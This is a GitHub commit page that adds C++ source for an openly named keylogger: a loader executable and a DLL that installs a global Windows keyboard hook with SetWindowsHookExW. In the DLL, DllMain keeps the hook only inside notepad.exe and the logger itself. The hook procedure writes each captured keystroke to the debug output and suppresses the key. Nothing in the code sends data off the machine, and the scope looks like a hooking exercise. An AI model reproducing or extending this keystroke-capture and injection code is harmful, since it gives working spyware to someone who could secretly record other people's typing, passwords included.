Skip to content

Commit 18ec222

Browse files
Add files via upload
0 parents  commit 18ec222

File tree

2 files changed

+159
-0
lines changed

2 files changed

+159
-0
lines changed

KeyLogger.cpp

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
// KeyLogger.cpp : 이 파일에는 'main' 함수가 포함됩니다. 거기서 프로그램 실행이 시작되고 종료됩니다.
2+
//
3+
#include <conio.h>
4+
#include <iostream>
5+
#include <windows.h>
6+
#include <cstdio>
7+
#include <tchar.h>
8+
9+
typedef void(*PFN_HOOKSTART)();
10+
typedef void(*PFN_HOOKSTOP)();
11+
12+
int main()
13+
{
14+
HMODULE hDll = NULL;
15+
PFN_HOOKSTART hookstart = NULL;
16+
PFN_HOOKSTOP hookstop = NULL;
17+
18+
hDll = LoadLibraryW(_T("KeyLoggerDLL.dll"));
19+
if (hDll == NULL) {
20+
printf("Load Library Fail");
21+
return 0;
22+
}
23+
24+
hookstart = (PFN_HOOKSTART)GetProcAddress(hDll, "hookstart");
25+
hookstop = (PFN_HOOKSTOP)GetProcAddress(hDll, "hookstop");
26+
27+
hookstart();
28+
29+
printf("press 'q' to quit! \n");
30+
while (_getch() != 'q');
31+
32+
hookstop();
33+
34+
FreeLibrary(hDll);
35+
36+
return 0;
37+
}

dllmain.cpp

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
// dllmain.cpp : DLL 응용 프로그램의 진입점을 정의합니다.
2+
#include "windows.h"
3+
#include "cstdio"
4+
#include "tchar.h"
5+
#include "tlhelp32.h"
6+
#include "psapi.h"
7+
8+
HINSTANCE g_hInstance = NULL;
9+
HHOOK g_hHook = NULL;
10+
HWND g_hWnd = NULL;
11+
12+
TCHAR buf[BUFSIZ] = { 0, }; //
13+
14+
TCHAR *pt = NULL; //
15+
16+
DWORD sPid; //process id
17+
18+
HANDLE sHnd; //Handle
19+
20+
21+
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD ul_reason_for_call,LPVOID lpReserved)
22+
{
23+
switch (ul_reason_for_call)
24+
{
25+
case DLL_PROCESS_ATTACH:
26+
27+
//GetCurrentProcess();
28+
sPid = GetCurrentProcessId();
29+
// process name
30+
// >> installer or notepad.exe 아니면, return FALSE
31+
sHnd = OpenProcess(PROCESS_ALL_ACCESS,FALSE,sPid);
32+
if (sHnd == NULL) {
33+
OutputDebugStringW(L"sHnd Fail\n");
34+
}
35+
36+
37+
38+
if ( GetModuleFileNameExW(sHnd, NULL, buf, sizeof(buf))==0 ) {
39+
OutputDebugStringW(L"GetModuleFileNameEx Fail\n");
40+
}
41+
pt = _tcsrchr(buf, '\\');
42+
43+
//notepad hooking
44+
if (!_tcscmp(pt + 1, L"notepad.exe")) {
45+
g_hInstance = hinstDLL;
46+
OutputDebugStringW(L"notepad attach\n");
47+
return TRUE;
48+
}
49+
50+
//keylogger hooking(essential)
51+
else if (!_tcscmp(pt + 1, L"KeyLogger.exe")) {
52+
g_hInstance = hinstDLL;
53+
OutputDebugStringW(L"KeyLogger attach\n");
54+
return TRUE;
55+
}
56+
else {
57+
g_hInstance = hinstDLL;
58+
return FALSE;
59+
}
60+
61+
62+
63+
//OutputDebugStringW(L"attach");
64+
g_hInstance = hinstDLL;
65+
break;
66+
case DLL_PROCESS_DETACH:
67+
break;
68+
}
69+
return TRUE;
70+
}
71+
72+
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam) {
73+
TCHAR buffer[100] = { 0, };
74+
if (nCode >= 0) {
75+
if (!(lParam & 0x80000000)) {
76+
77+
HANDLE sdwHandle;
78+
sdwHandle = GetCurrentProcess();
79+
DWORD dwExitCode = NULL;
80+
GetExitCodeProcess(sdwHandle, &dwExitCode);
81+
82+
if (dwExitCode == STILL_ACTIVE) {
83+
wsprintfW(buffer, L"%c", wParam);
84+
::OutputDebugStringW(buffer);
85+
return 1;
86+
}
87+
else {
88+
::OutputDebugStringW(_T("Current is Process is Dead\n"));
89+
return 1;
90+
}
91+
92+
}
93+
}
94+
95+
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
96+
}
97+
98+
#ifdef __cplusplus
99+
extern "C" {
100+
#endif
101+
__declspec(dllexport) void hookstart() {
102+
103+
//HANDLE sdwHandle;
104+
//sdwHandle = GetCurrentProcess();
105+
//DWORD dwExitCode = NULL;
106+
//GetExitCodeProcess(sdwHandle, &dwExitCode);
107+
//if (dwExitCode == STILL_ACTIVE) {
108+
// g_hHook = SetWindowsHookExW(WH_KEYBOARD, KeyBoardProc, g_hInstance, 0);
109+
//}
110+
g_hHook = SetWindowsHookExW(WH_KEYBOARD, KeyBoardProc, g_hInstance, 0);
111+
}
112+
113+
__declspec(dllexport) void hookstop() {
114+
if (g_hHook) {
115+
UnhookWindowsHookEx(g_hHook);
116+
g_hHook = NULL;
117+
}
118+
}
119+
120+
#ifdef __cplusplus
121+
}
122+
#endif

0 commit comments

Comments
 (0)